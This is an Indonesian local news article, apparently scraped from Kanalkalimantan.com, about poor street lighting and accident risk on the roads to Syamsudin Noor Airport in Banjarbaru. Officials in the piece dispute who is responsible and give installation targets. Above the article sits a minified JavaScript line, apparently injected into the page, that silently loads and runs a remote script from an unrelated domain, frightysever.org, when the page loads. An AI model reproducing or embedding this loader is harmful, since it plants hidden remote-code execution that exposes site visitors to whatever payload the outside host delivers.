(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
BANJARBARU, Sejak beroperasinya Bandara Internasional Syamsudin Noor, banyak masyarakat yang mengeluhkan minimnya Penerangan Jalan Umum (PJU) di akses jalan menuju bandara. Tidak sedikit yang merasa waswas saat melintasi akses jalan tersebut saat dinihari maupun malam hari.
Seperti halnya yang dirasakan Edwin Hidayat (25) warga Keluruhan Guntung Payung, Kecamatan Landasan Ulin, Banjarbaru. Ia mengatakan, kondisi jalan yang gelap tersebut disaksikannya secara langsung saat mengantarkan orang tuanya ke Bandara Syamsudin Noor, Jumat (3/1) dini hari.
“Saya tadi mengantar orang tua ke Bandara menggunakan mobil, penerbangan pertama. Itu memang jalannya sangat gelap. Kalau mengandalkan lampu mobil, cuma bisa melihat jarak beberapa meter saja didepan. Padahal jalannya banyak keloknya. Kesulitan bagi saya yang menggunakan kacamata,” keluhnya.
Kondisi jalan yang gelap ini sebenarnya telah menjadi sorotan oleh pihak kepolisian. Kepala Satlantas Polres Banjarbaru, AKP Gustaf Adolf Mamuaya mengatakan, akses jalan masuk menuju bandara menjadi salah satu titik rawan terjadinya kecelakaan lalu lintas saat hari-hari libur. Yakni saat aktivitas tranportasi di kawasan bandara sedang ramai-ramainya.
“Saya sampaikan bahwa di akses jalan itu minim PJU dan jalannya juga ada yang bergelombang. Oleh karenanya, saat jelang libur natal dan tahun baru, saya menyatakan akses jalan tersebut adalah titik rawan laka lantas,” katanya beberapa waktu lalu.
Perlu diketahui, Pemerintah Provinsi Kalsel melalui Dinas Pekerjaan Umum dan Penataan Ruang (PUPR) telah menyediakan sejumlah akses jalan untuk menuju bandara. Bagi masyarakat dari arah Banjarmasin, diarahkan masuk melalui Jalan Golf atau lewat Jalan Gubernur Syarkawi. Sedangkan masyarakat dari arah Banjarbaru, masuk lewat Jalan Karet atau bisa juga tembus melalui Jalan Sapta Marga dan Jalan Bina Putra.
Menelusuri pengadaan PJU diseluruh akses jalan ini, Kanalkalimantan.com mencoba mengkonfirmasi Dinas Perumahan dan Pemukiman (Disperkim) Kota Banjarbaru. Ditemui langsung di ruangannya, Kepala Seksi (Kasi) PJU, Endro Siswanto, mengklaim bahwa itu bukan tanggung jawab pihaknya.
Endro mengatakan, penyediaan PJU tersebut merupakan wewenang Pemerintah Provinsi Kalsel selaku pemilik status akses jalan. Ia juga mengaku apabila tanggung jawab tersebut diserahkan ke pihaknya, Disperkrim Banjarbaru tidak akan mampu menganggarkan pengadaan PJU yang diperkirakan mencapai ratusan unit tersebut.
“Mungkin pengadaan PJU ini yang berwenang Dinas PUPR dan Dinas Perhubungan Provinsi Kalsel. Kalau kami (Disperkim Banjarbaru), jujur saja anggaran tidak akan sanggup. Tapi kami juga tidak menyerahkan semuanya ke Provinsi. Kita akan anggarkan secara bertahap, semampu kami,” katanya.
Disamping itu, Endro telah menyatakan sikap apabila nantinya PJU telah terpasang, pihaknya siap bertanggung jawab untuk melakukan pemeliharaan. Dirinya menghimbau masyarakat untuk bersabar sementara waktu dan mengingatkan dalam berkendara di kawasan bandara untuk lebih berhati-hati khususnya saat malam hari dan dini hari.
Masih di hari yang sama, Kanalkalimantan.com mencoba menghubungi Kepala Dinas Perhubungan (Dishub) Provinsi Kalsel, Rusdiansyah, melalui telepon. Di sela jam kerjanya, ia secara gamblang mengakui bahwa pengadaan PJU adalah tanggung jawabnya. Bahkan, ia tidak menapik minimnya PJU di akses jalan bandara.
Rusdiansyah membeberkan bahwa ada 3 akses jalan bandara yang menjadi tugasnya untuk dipasang PJU, yakni Jalan Golf, Jalan Gubernur Sarkawi dan Jalan Karet. Sampai saat ini sudah ada 58 unit PJU yang telah terpasang di Jalan Golf dan Jalan Karet.
“Jumlah PJU yang sudah kita pasang ini masih sangat kurang. PJU di akses jalan kawasan Bandara secepatnya akan kita pasang dengan harapkan di tahun 2020 ini, bantuan dari pemerintah pusat melalui Kementerian ESDM akan diberikan. Target kita pemasangan PJU kurang lebih 300 unit,” katanya.
Di sisi lain, di Jalan Gubenur Sarkawi atau dari arah Rumah Sakit Jiwa (RSJ) Sambanh Lihum, nyatanya belum sama sekali ada PJU yang terpasang. Alasannya, pembangunan di jalan tersebut belum rampung total. Selain PJU, Dishub Provinsi Kalsel juga memasang rambu sebanyak 150 unit, dan RPPJ sebanyak 16 unit, Warning 26 unit, Delineator sebanyak 306 serta marka jalan untuk akses bandara 20 kilometer.
“Masyarakat yang ingin menuju Bandara, sementara waktu ini saya sarankan lewat akses jalan yang sudah terpasang PJU, baik Jalan Karet atau Jalan Golf. Boleh saja lewat Jalan Gubenur Sarkawi, tapi untuk pagi atau siang saja. Kalau malam, jangan,” tegasnya. (Rico)
KANALKALIMANTAN.COM, AMUNTAI - Dinas Kesehatan (Dinkes) Kabupaten Hulu Sungai Utara (HSU) meluncurkan layanan kesehatan berbasis… Read More
KANALKALIMANTAN. COM, JAKARTA - Indonesian Hypnosis Centre (IHC) menggelar acara pengukuhan 51 orang yang telah… Read More
KANALKALIMANTAN.COM, BANJARBARU - Pernak-pernik Natal jelang perayaan Natal tahun 2024 di Kota Banjarbaru mulai ramai… Read More
KANALKALIMANTAN.COM, AMUNTAI - Tim Taekwondo Indonesia (TI) Kabupaten Hulu Sungai Utara (HSU) sukses membawa pulang… Read More
KANALKALIMANTAN.COM, BANJARBARU - Upacara peringatan Hari Bela Negara ke-76 dengan tema “Gelorakan Bela Negara untuk… Read More
KANALKALIMANTAN.COM, PELAIHARI - Nasib tragis dialami rombongan santri yang sedang melakukan libur akhir tahun di… Read More
This website uses cookies.